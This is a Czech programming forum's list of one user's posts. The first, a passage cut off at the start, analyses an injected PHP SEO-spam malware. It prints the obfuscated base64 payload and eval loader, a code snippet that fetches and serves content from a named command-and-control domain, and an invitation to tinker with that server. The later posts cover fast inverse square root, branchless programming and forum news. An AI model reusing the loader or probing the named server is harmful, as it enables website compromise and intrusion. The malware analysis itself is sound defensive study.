2X0UBF7JOAePoprioK9WoEbCxlInxLAYIulJYulJYulgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp29MgREjUOWkWOAyUtEkUtKtnhk7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJb9MgREjUOWkWOAyUtEkUtKICYNtCYEeWO1Lo2AyUtEkUtKTzF0nJYulJYulJYulJYuliBAeUcuvgREjUV9dU250iB50zF0nJYulJYulJYulJYulioXTWYlTzF0nJYulJYulJYS9iBqrihSTiIXrWRprWRJepOX0UBqHP29aWOwaWYFti2w0P29aWOwaWfQFGRSXi2Qtnhk7fKelJYulJYulJYulJYSugOwXiOwcnYWJwVEKCrDaGhu1GfulhB50iopaPBFlQ2wcWbwcJDwcNb9cpcv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR1kURAkJOkbnRA0NtA0NIlvgREjUV9dU250iB50CYWtioEdU250iB50Afu0NOVtihNTnoLAYIulJYulJYulJYulJDSeiBVvioJep0XQwVuyGh4qJfKFAYSzU3KlEb91UbKtnxLAYIulJYulJYulJYulJOw4goKenxLAYIulJYulJYulHBwLN2QlgBPeN3EcN3EcnYEeWO1Lo2AyUtEkUtKLp2WkWOAyUtEkUtKrGfVFPBWkpcvTZF0nJYulJYulJYulJYulKOXkPBEkNIlthVEQQY8qCdDlGruqJD1yWbwvJVSkNb1XUbwaWOq5pcv7fKelJYulJYulJYulJYuvgREjUV9dU250iB50Jf0lN3Eco3pkNOqXP2QeJbWkWOAyUtEkUtKrGfVFPBWkJIFtpcFvgREjUV9dU250iB50nxLAYIulJYulJYulJYulJOXkPBEkNIltxO9dPoETU246JYNapOX0UBqHP29aWOwaWYv7fKelJYulJYulJYulJYSkZOk0nYv7fKelJYulJYulJR0AYl0nJYulJR0AYt0AYl0nitwaP3ETU24lN21TN2pyWYlTJRLAYIulJYuvPBWkUtKlshSrWRp0U2qyW2wcnYEHQ0whwvwhBcWJwVEKo1wxEwpHKQWVxkKtohv7fKelJYulgBPlnYEXi2waWYuXshuIJIvlZF0nJYulJYulJYuvi29yi2qkKb90Jf0lPopcPoveJvWyU2WLiBpyWYJLJkkXgO9yJhSxURwcNYJLJkkXgO9yJVALWopFJIFIE29yi2qkJDVvQ2waN2QICYWtU29tUOQtCYutZBVeU28tnxLAYIulJYulJYulib9ciBVdgYuepOWyU2WLiQpyWYSXNcuvWbVLnhS7fKelJYulJYulJYulJYuvN3EcJf0lN3EcWO9LU3WkNIlvWbVLnxLAYIulJYulJYulJYulJOkbJYXrWRpFU3GepOVtiB50CYuvN3EcnhvlZF0nJYulJYulJYulJYulJYulJRpkWRwcUIS0NtwkzF0nJYulJYulJYulJYulHK0nJYulJYulJYS9fKelJYulHBwLN2w7fKelJYulJYulJRpkWRwcUISbPBqrixLAYIulJYS9fKT9fKTbWB5dWOkyUISrUB90gOwcPb90nYvlZF0nJYulJYEXi2waWYu9JRA0NtEyUO93ioJepV9xEwpBEwpUp0XQwVSHwwAVQk9SE0wzwYWWnxLAYIulJYSTiIuepOVtiB50JYD9JYJInhS7fKelJYulJYulJYErNOkviopxgoEkJf0lPopcPovlnYpQiB5diB50wRpXWbwLioJICYpjN25IU3KICYpxU3AyN3STiOwcncJLJkAyi291JRWkPISrNOkvioJICYpTPw9XNbAegoikNIJLJkkyWBEXU0pyWYJLJv1xxvpyWYJLJvTXWbDlnD9bWOwaJRAFPB0lPb90nhJLJvpXgQE1Q3STiOwcJIFIwb9TUODICYpiPB5viollPb90JIFIKkAFgBEkNIJLJtE3gBAkUOwcJIFIQ29tU3QlQ3STiOwcJIFIQ3SkiBE5JVAFgBEkNIJLJvXkNbk0Nbk4JIFIQRk0gO9aCowcUOqTPIJLJvVLioXXJYXpKhSSNbAegoikNIvICYpSN2LICYpVZOVIU3KICYpfWoA0UcJLJv91WOiyZDpyWY9iU2EXU0pyWYJLJtkXP3vICYpxWop2iokYU3KICYpLiBWrJIFIURWFCoEcgoiTPBFICYpzWoEdgYJLJkA0PBAMQbVjPbqkNIJLJkEeihS3iBJlPopdgOk2ihuehQDlKopdgOk2ioJTJIFIQOwcUYS0U29LJIFIxQeqGbpyWYJLJv5kWOAcPBi0JIFIxwApEQAcPoWLioJICYpoE2w0JREyU2qrJIFIUOVcPbkaJIFIEbkrgYSriBVcP2lICYutPbkai2pyWYNLJYWIPBkvWhNLJYWXU2FtCYutPbkaicNLJYWiPB5vioXYU3KtCYutKBXciBirKb90pcv7fKelJYulJYulJOiyNbwXP2llnYErNOkviopxgoEkJOVrJYE2PBFTJRLAYIulJYulJYulJYulJYErWRJlshSrWRp0U2qyW2wcnYE2PBFTzF0nJYulJYulJYulJYulgBPlnRA0NtSyNclvPBWkUtKLJYErWRJTnhS7fKelJYulJYulJYulJYulJYulNbw0WopaJREcWBQ7fKelJYulJYulJYulJYS9fKelJYulJYulJR0AYIulJYS9iBqrioLAYIulJYulJYulNbw0WopaJOiXURAkzF0nJYulJR0AYt0AYbi1UbA0gB9aJRAjU3w0iO8epRwcUYk7fKelJYulpOiTUOwHP29aWOwaWRGlshSuibkLiw9tioEHP29aWOwaWRGepRwcUYv7fKelJYulgBPlnYDvibkLiw9dU250iB50NcvlZF0nJYulJYulJYuvP2llshSdWopLo2kagoKenxLAYIulJYulJYulP3wcUV9rioEyNRKepOAeCYSfwwpGx1SQo1whxYFlpRwcUYv7fKelJYulJYulJOA1NbqHN2w0U3S0nYEdgYFlK1whxD9KwV9hEwEwQv5QQvVzQ0iVQIFqnxLAYIulJYulJYulpOiTUOwHP29aWOwaWRGlshSdWopLo2w4iBGepOAenxLAYIulJYulJYulP3wcUV9dUO9rihlvP2lTzF0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwHP29aWOwaWRG7fKT9fKTbWB5dWOkyUISLgoA0EOkcnYEvgoJTZF0nJYulJYEbgBqkPopcJf0lPopcPovenxLAYIulJYSTiIXTN19vgoJepOETNIvTZF0nJYulJYulJYSTiIuepOEeJf0lU3SkUbETNIlviOkcnhk7fKelJYulJYulJYulJYS3gOkLihuenYEbgBqkJf0lNbwXiOETNIlviOlTnhuXsx0libVLN2QTZF0nJYulJYulJYulJYulJYulJOkbnYXbgBqko2w4goA0NclviOkcCIJyJI4vibkLihvTJYPbJYEbgBqkJx0ICIJlpIPlpOiTUOQXshJaCIJTZF0nJYulJYulJYulJYulJYulJYulJYuvibkLiBVcNkjWJf0lpOiTUOQ7fKelJYulJYulJYulJYulJYulHK0nJYulJYulJYulJYulHK0nJYulJYulJYulJYulP2qyN2wvgoJepOEenxLAYIulJYulJYulHK0nJYulJR0AYIulJYScioE1Nb4lpOiTUOwXNtJ7fKT9fKe/sl=="; eval('?>'.$O00O0O($O0OO00($OO0O00($O0O000,$OO0000*2),$OO0O00($O0O000,$OO0000,$OO0000),$OO0O00($O0O000,0,$OO0000)))); Celý výstup je ve skutečnosti jednořádkový, ale odbouchl jsem konec na kterém začínal další eval - aby jste ho vůbec zaregistrovali Překvapením je další base64 enkrypt + další eval, který spouští další záhadu. Začíná se to trochu zamotávat, přejdeme tedy na php sandbox, který nám pomůže sledovat celý proces a jeho postup (https://sandbox.onlinephpfunctions.com/). Vložíme si do něj náš původní inject, nicméně "eval" přepíšeme na echo - tím dostaneme podobný výstup jako na dekodéru base64. Ten nicméně zkopírujeme a vložíme ZA náš původní inject. Přepsaný eval na echo můžeme odstranit úplně i s původním enkryptem - zbytečně by zasíral výstup. Pokud vám kód nejde spustit, zkontrolujte si verzi PHP a chyby na výstupu inject funguje jen na verzi php 5.6.* a na 7+ nepoběží Druhý eval znovu přepíšeme na echo a při dalším spuštění již získáme celý surový kód našeho viru: https://pastebin.com/i3ASp9Qv (má nějakých 500 řádků - zbytečně bych projebal místo v topicu ) Než se mrkneme na samotný kód a jeho přibližnou funkci, pojďme se podívat jakým způsobem probíhá samotné rozbalení tohoto viru: $O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; $OO0000=$O00OO0{7}.$O00OO0{13}; $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; Celá tato blbost vlastně zajistí, že kód netriggerne žádné vzorce virus scannerů apod. Řetězec prvního řádku po urldecode vypadá takto: n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j Pojďme probrat co vlastně dělá znamená každá část se složenými závorkami: echo $O00OO0{3} //b echo $O00OO0{6}; //a echo $O00OO0{33}; //s echo $O00OO0{30}; //e echo $O00OO0{33}; //s echo $O00OO0{10}; //t echo $O00OO0{24}; //r echo $O00OO0{10}; //t echo $O00OO0{24}; //r echo $O0OO00{0}; //s echo $O00OO0{18}; //u echo $O00OO0{3}; //b echo $O0OO00{0}; //s echo $O0OO00{1}; //t echo $O00OO0{24}; //r echo $O00OO0{7}; //5 echo $O00OO0{13}; //2 echo $O00OO0{22}; //6 echo $O00OO0{36}; //4 echo $O00OO0{29}; //_ echo $O00OO0{26}; //d echo $O00OO0{30}; //e echo $O00OO0{32}; //c echo $O00OO0{35}; //o echo $O00OO0{26}; //d echo $O00OO0{30}; //e Rozbalovač tedy složí názvy PHP funkcí z náhodně vypadajícího textu a poté je spustí pomocí funkce "eval" (která převede string na PHP kód a spustí ho) $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; //base $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; //strtr $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; //substr $OO0000=$O00OO0{7}.$O00OO0{13}; //52 $O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; //64_decode eval($O00O0O.. tedy ve skutečnosti znamená eval(base64_decode... Je nutno podotknout, že eval neselže, protože stupidní PHP opravdu, když potká $O00O0O, ho převede na base64_decode, protože to je přece hodnota této proměnné a PHPčku nevadí pokud typ proměnné je string a je využita jako volací funkce. Náš druhý base64 enkrypt se tedy přeloží ještě před spuštěním jeho evalu a poté je opravdu spuštěn evalem. Zde začíná payload fáze viru, ve které si jednak připraví půdičku pro práci a také vykoná veškeré nekalosti, kterými byl obdařen. Nestudoval jsem vir dopodrobna, spíš jsem ho obecně prohlédl abych zhruba zjistil co je jeho záměrem. Dle mého názoru má vir z webovky udělat zombie a přesměrovat její traffic na spoustu crapwebů + vytvořit nový sitemap, nasměrovat na něj roboty a zkurvit tím i SEO - protože roboti začnou lozit na crapweby a spojovat je s naším webem. Zahlédl jsem i nějaké pingy na google a random webovku v Indii, nejspíš kontrolní před kontaktem s domácím serverem, který odpovídá nesmysluplně na dotazy jen pokud dostane v $_GET požadavku zz=true (debilita). Vir je psaný v takové té indické angličtině (chybějící písmenka, zvláštní gramatika, však to znáte), pinguje a dotazuje indické weby - něco mi říká, že to bude práce Indie. Všiml jsem si i náznaku jakéhosi ovládání přes GET parametry + nějaké návratové hodnoty v response domácího serveru.. Hlavní mamina tohoto skriptu je adresa: $goweb = 'dthirty-eight2.sigfoxfoundationg.shop'; dále pinguje na: $data_new = 'https://www.google.com/ping?sitemap='.'https://'.$host.'/'.$add_content; a hned u toho v komentáři lze najít "http://www.gudangsehat.com/mapindex.xml" Mamina funguje na několika PHP souborech: 'dthirty-eight2.sigfoxfoundationg.shop/a.php' 'dthirty-eight2.sigfoxfoundationg.shop/sitemapdtn.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew 'dthirty-eight2.sigfoxfoundationg.shop/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock 'dthirty-eight2.sigfoxfoundationg.shop/sitemap.php?date='.$id.'&temp='.$temp.'&web='.$host.'&xml='.$dt.'&maptype='.$maptype.'&filetype='.$filetype.'&map_splits_num='.$map_splits_num.'&map_num='.$map_num.'&dataNew='.$dataNew.'&uri='.$smuri.'&http='.$http A podle jednoho testu s random hodnotami, mamina nemá žádné extra kontroly vstupu. a.php mi vrací jen nějakou blbost - nejspíš nějakým způsobem využitá pro kontrolu čehosi. Zdá se to jako md5 nějakého nesmyslu - možná zasaltěná IP adresa. sitemapdtn.php vrátila obsah do sitemap xml - seznam crapwebů, které má zombie dotovat. index.php vrací jen super promyšlené hlášky jako "nobotuseragent", "okhtmlgetcontent", "getcontent500page", "getcontent404page" (vycucáno ze skriptu) if(stristr($smuri_tmp,'.css')){ $web = $http_web.'://'.$goweb.'/index.php?url='.$site.'&id='.$id.'&temp='.$temp.'&dt='.$dt.'&web='.$host.'&zz='.smisbot().'&jdir='.$jdir.'&clock='.$clock.'&uri='.$smuri.'&lang='.$lang.'&os='.$os.'&urlshang='.$urlshang.'&http_clock='.$http_clock; $html_content = trim(smoutdo($web)); if(!strstr($html_content,'nobotuseragent')){ if(strstr($html_content,'okhtmlgetcontent')){ @header("Content-type: text/css; charset=utf-8"); $html_content = str_replace("okhtmlgetcontent",'',$html_content); echo $html_content; exit(); }else if(strstr($html_content,'getcontent500page')){ @header('HTTP/1.1 500 Internal Server Error'); exit(); }else if(strstr($html_content,'getcontent404page')){ @header('HTTP/1.1 404 Not Found'); exit(); } } } S posledním sitemap.php už jsem se ani neobtěžoval srát. Pokud chcete, feel free a pohrajte si s čmoudama jak chcete. Pochybuji, že napácháte nějaké bolestivé škody - tihle blbci se možná vysrali na ochranu jejich díla, ale vůbec je nebude bolet, když se jim do toho někdo proláme. Prostě ráno přijdou do roboty, kopnou do mašiny, crawler začne prolízávat webovky a když se podaří nějakou prolomit, tak je to pro ně stejně jak prd do větru. Těch webovek jsou tisícovky, virus tam běží max. pár dní (pro mrtvoly - neobsluhované mrtvé weby - indefinitely) naprdí nějakej traffic do poolu a vyhasne, jede se dál.
  5. Náhodou je to velmi dobrá připomínka, kterou je potřeba brát v potaz nejen v těchto typech systémů. Overflow je vážná bezpečnostní díra, se kterou by se mělo počítat od základu
  6. Zdravím přátelé, zase jsem narazil na zajímavý kousek kódu (evidentně již celkem profláknutej kousek kódu), který byl proslaven hrou Quake 3 Arena. jedná se o extrémně rychlou funkci pro výpočet Která v klasické funkci není přímo lehká pro výpočet (škodlivá pro time budget procesoru). Nicméně kdysi dávno ještě před Johnem Carmackem a Quakem se objevil kdosi jménem Greg Walsh, který s touto magií přišel nejspíše první a trochu zachránil svět 3D grafiky v dobách, kdy zobrazení beztexturové krychle na obrazovce trvalo dvě a půl vteřiny. K čemu se tato funkce vůbec využívá a proč to byl takový hit 3D světa? Protože zrovna tato funkce je zásadní pro výpočet kolmic povrchů 3D objektů, zastoupené 3D vektory o délce 1, pro vyjádření osvícení a odrazů. Těchto výpočtů probíhá spousta najednou a jejich výpočet zahrnuje normalizaci velkého množství vektorů. A jak se normalizuje vektor? Zjistíš délku vektoru a vydělíš s ní každou jeho část (x,y,z) - tedy vynásobíš každou část formulí: Výpočet samotného x2 + y2 + z2 je relativně rychlý a jednoduchý. Hledání odmocniny a její využití v dělení je náročné. Originální funkce z Quake III Arena: float Q_rsqrt( float number ) { long i; float x2, y; const float threehalfs = 1.5F; x2 = number * 0.5F; y = number; i = * ( long * ) &y; // evil floating point bit level hacking i = 0x5f3759df - ( i >> 1 ); // what the fuck? y = * ( float * ) &i; y = y * ( threehalfs - ( x2 * y * y ) ); // 1st iteration // y = y * ( threehalfs - ( x2 * y * y ) ); // 2nd iteration, this can be removed return y; } Jedná se o malou a velmi efektivní rychlou super funkci. Na první pohled nás nejspíš všechny zaujal řádek "what the fuck?" - jedná se právě o to kouzlo celé funkce. Greg totiž přišel na způsob jakým efektivně napodobit matematickou funkci log2 , která se využívá při výpočtu "náročným" způsobem a kompletně ji obešel (tím odlehčil náročnost na výpočet). Kompletní matematické rovnice vám nevysvětlím já, nýbrž je najdete v přiložených zdrojových dokumentech, ve kterých jsem čerpal (ale je to fakt advanced shit, ne-matikářům to zruší hlavu). Co se ve funkci vlastně tedy děje? Do proměnné x2 si uložíme polovinu z čísla Do proměnné y zkopírujeme naše číslo Změna typu čísla z float na integer (odstranění desetinné čárky na bit-levelu bez ztráty mantisy) Posunutí bitů integeru o 1 doprava (bit exponentu se přesune do mantisy) a výsledek se odečte od magic konstanty Přetypování zpět na float Dovýpočet přesnosti pomocí Newtonovi metody (1 iterace) (případná druhá iterace pro ještě přesnější výsledek) Jak přesně funguje float na bit-levelu? Float na bit-levelu má tři části - sign, exponent a mantissa. Sign určuje znaménko čísla (pozitivní nebo negativní číslo). Exponent může být pozitivní i negativní, na bit-levelu je ale uložen jako unsigned (to je určeno pomocí sign části floatu). Hodnoty všech nul jsou rezervované pro nulové nebo neexistující výsledky a hodnoty všech jedniček jsou rezervované jako reprezentace nekonečna nebo neznámého. Mantisa je signifikantní číslo, které po umocnění exponentem, představuje uloženou hodnotu (první bit se neukládá - předpokládá se, že je vždy 1) Bit shift operátor v tomto případě posunul jeden bit exponenta do mantisy a tím efektivně celé číslo vydělil 2. Poté odečítáme celé číslo od konstanty, která jako zázrakem vytvoří z našeho čísla relativně přesný odhad výpočtu odmocniny. Nikdo už se neshodl jakým způsobem bylo původní číslo nalezeno, nicméně existuje několik metod k nalezení toho nejlepšího (podrobnosti v odkazech na zdroje). I když je tato funkce v moderní době irelevantní (moderní procesory a mikročipy se naučili pracovat s floating-point čísly efektivněji), její rychlosti se dalo využívat až do začátku 21. století, kdy už výkon floating-point logiky dohnal výkon integer výpočtů. Ale do té doby to byl nejlepší algoritmus v 3D grafice. Zdroje: https://en.wikipedia.org/wiki/Floating-point_arithmetic https://en.wikipedia.org/wiki/Fast_inverse_square_root http://h14s.p5r.org/2012/09/0x5f3759df.html (Podrobnější popis celé funkce) http://www.lomont.org/papers/2003/InvSqrt.pdf (Detailní výpočet magic konstanty)
  7. Celá sestava toho kódu je úplně špatně.. Nejdřív voláš query na select všeho v samp_warps. Jinými slovy - načteš celý obsah tabulky. Z toho celého obsahu si odneseš jen počet položek a uděláš z toho cyklus (který jede od nuly do <= rowCount - o jednu víc). Uvnitř ZNOVU postupně voláš query na všechny položky tabulky i když už ty data jednou máš. Ten overhead by při větším množství položek byl neskutecnej. Využij výsledků té první query, ve které už máš kompletně všechna potřebná data a cykluj zkrze ta, je to 10x rychlejší na výkon i o mnohonásobně jednodušší na sepsání Error máš proto, že se snažíš vložit array do druhé array na jedno místo. String je ve skutečnosti array znaků, takže spojení stringu funguje jako nalepení dvou array na sebe, chceš mít array obsahující stringy, musíš jej deklarovat jako array v array.
  8. Thread pro postování vtipných meme obrázků a videí (Aneb jak nahnat počet příspěvků 😄 ) Pravidlo je jednoduché: Každý příspěvek musí obsahovat nějaký druh meme. EDIT: Druhé pravidlo: nehnat posty za sebou. Počkejte až další post napíše někdo jinej, nebo přidejte meme do předchozího příspěvku. A nebojte se jich klidně přidat i více najednou!!
  9. Jestli se chceš něco naučit, tak musíš začít řešit věci sám Scydo ti napsal kde je chyba a jak ji vyřešit ( dokonce doslovně) Ty ho teď žádáš o další jeho čas, který by mohl využít produktivněji, k tomu aby ti naservíroval hotovou opravu. Která tě stejně nic nenaučí
  10. https://pawno.cz/index.php?/problém-xy/ Co se týče jakékoliv informace na HDD úrovni, podle které by se dalo zjistit cokoliv o tom po čem jdeš ty, to umí jen HDD pro servery s technologiemi navíc, které jsou pro logging určeny.. Sám mám trochu pochybnosti že ani z HDD-level logů nezjistis nic podstatného. Spíš bych pátral po stopách jiného HW v notasu, např jiný HDD - vždy je šance že to dotyčný mohl klonovat na stejném HW
  11. V tomto právěže nejde o krácení řádků high-level kódu, nýbrž právě o zkrácení počtu instrukcí procesoru (assembler) a vyhnutí se instrukcím jenž přeskakují v kódu (jump), které jsou pro zpracování nejnáročnější
  12. Nedávno jsem narazil na zajímavou problematiku, která se využívá při stavbě time-sensitive prostředí a šifrovacích algoritmů. Jde o tzv. branchless programming - tedy programování bez větví. Toto téma je zajímavé hlavně pro ty z vás, jenž zaujme malá zajímavost o programování. V reálné praxi se tyto "triky" využívají jen pro šifrovací funkce a při programování grafických shaderů. Moderní kompilátory high-level jazyků jsou výbornými optimizéry - snaží se kompilovat co nejjednodušeji zchroupatelný kód pro procesory zvolené architektury. V praxi to znamená, že jsou schopny generický kód s podmínkami relativně dobře zhodnotit a podmínky rovnou přeložit jako jejich branchless verzi. Toto se ovšem týká jen jednodušších řešení, pro které branchless verze má nějaký smysl. Branchless programming není něco, co se musí, nebo mělo by se, striktně dodržovat - ba naopak, kompilátory ve většině případů dokáží nejlépe určit, zda-li je překládaný kód výkonnější v branchless verzi a rovnou jej tak přeloží. Při programování platí jednoduché pravidlo - programovat hlavně čitelně, optimalizovat až při potřebě rychlejšího výkonu. A před samotnou optimalizací (a případným branchless kodingem) zvážit, zda-li se zapsaný algoritmus nedá vyřešit efektivnějším způsobem. Branch (větev, blok, sekce) Kód se jakoukoliv podmínkou rozděluje a větví - každé této oddělené části, či bloku kódu se říká branch (neboli větev). if(something == 10) { //Branch A } else { //Branch B } Vzhledem ke způsobu funkci procesoru je každý branch zbytečná zátěž navíc - toto platí několikanásobně u GPU výpočtů, protože procesorová pipeline spouští několik instrukcí současně, tímto se mohou spouštět obě cesty podmínky zároveň a po vyhodnocení podmínky se všechny neplatné výpočty (branch, pro kterou není splněna podmínka) prostě zahodí. Aneb kompilátor vytvoří instrukce pro zhodnocení podmínky a v případě nepravdy "přeskočí" na jiný než následující řádek v kódu - toto je operace, která je pro procesor zbytečně vytěžující. Branchless v praxi Představme si následující funkci min() - která zjistí, které ze dvou předaných čísel je menší než druhé: function min(int a, int b) { if(a < b) return a; //Branch A else return b; //Branch B } A nyní její branchless verzi: function min(int a, int b) { return a*(a<b)+b*(b<=a); } Je trochu nečitelná, ale víceméně jednoduchá. Dle většiny programovacích jazyků, je tento zápis vyhodnocen například takto: a = 4; b = 6; return (4*true) + (6*false) = return (4*1) + (6*0) = return 4 + 0 = return 4 Nejen, že jsme kompletně vynechali podmínku v kódu, ale také zkrátili funkci ze 4 řádků na jeden a celou operaci provedli jen matematickým výpočtem. Tato funkce je velmi jednoduchá operace, nicméně její branchless verze se na první pohled může zdát poměrně nečitelná - proto se překlad do těchto branchless funkcí nechává více-méně na kompilátorech, díky kterým můžeme psát čitelný kód a i přesto nám jej kompilátor přeloží v optimalizované verzi. S každou přibývající složitostí a komplexností je branchless kód nečitelnější a zamotanější. Například funkce pro přepis znaků řetězce na velká písmena: function toUpper(string text) { for(int i=0; i<text.length; i++) { text[i] -= 32 * (text[i] >= 97 && text[i] <= 122); } return text; } //97 = 'a' //122 = 'z' //32 = 'Z' - 'a' offset Závěr I přesto, že toto není návod, tak doufám, že jsem vám předal alespoň nějakou zajímavou informaci. Pokud se mi povedlo vás zaháčkovat a jste hladoví po dalších informacích, tak vám nabídnu další zdroje, ze kterých jsem čerpal při sepisování tohoto topicu. Branchless programming je zajímavá technika - zřídka kdy využitelná při běžné praxi, nicméně způsobů jak vyčarovat branchless verzi složitých funkcí, je nepřeberné kvantum. Další zdroje: https://stackoverflow.com/questions/6133322/what-does-a-branchless-if-in-c-look-like https://hbfs.wordpress.com/2008/08/05/branchless-equivalents-of-simple-functions/ https://stackoverflow.com/questions/31897718/branchless-conditionals-on-integers-fast-but-can-they-be-made-faster https://stackoverflow.com/questions/32107088/how-can-i-make-branchless-code
  13. @Zahradnik @D4n09 @mawerick Řešíte offtopic kluci držte se tématu prosím
  14. What else.. 

    1. Woody

      Woody

      now what

    2. Hip
    3. Lukasz

      Lukasz

      Všiml jsem si, že Woodymu chybí titul moderátor

  15. Posledních 7 dní moderátoři a administrátoři usilovně pracovali na přestavbě struktur sekcí. Staré kategorie a sekce byly více-méně vloženy kompaktněji do sebe a byly vystaveny i sekce nové. Práce ještě není dokončena, chybí ještě několik sekcí, které jsou prozatím skryty dokud moderátoři nerozřadí příspěvky do nových sekcí. V tuto chvíli se to týká ještě kolem 20k příspěvků (které prozatím nejsou dostupné). Proto prosím, pokud se toto týká některého z vašich příspěvků, mějte strpení. Celkové změny se držely schématu - návrhu, který je umístěný na trellu Pawno_New_Scheme.pdf V průběhu dalších několika týdnů se budou nové sekce ještě kosmeticky upravovat a s největší pravděpodobností postavíme ještě další nové podsekce pro zde ještě nevídaná témata. Pokud máte nápady nebo návrhy na další úpravy, podělte se s námi o ně. Díky za trpělivost při této delší odstávce. Já nicméně věřím, že to stálo za to a změna, kterou tato přestavba přinesla je příjemným krokem vpřed vstříc novému nastartování tohoto fóra Děkuji hlavně i našim moderátorům, kteří si s touto mravenčí prací musí již rvát vlasy, a proto prosím i vy jako členové jim poděkujte za jejich odvedenou otročinu
×
×
  • Create New...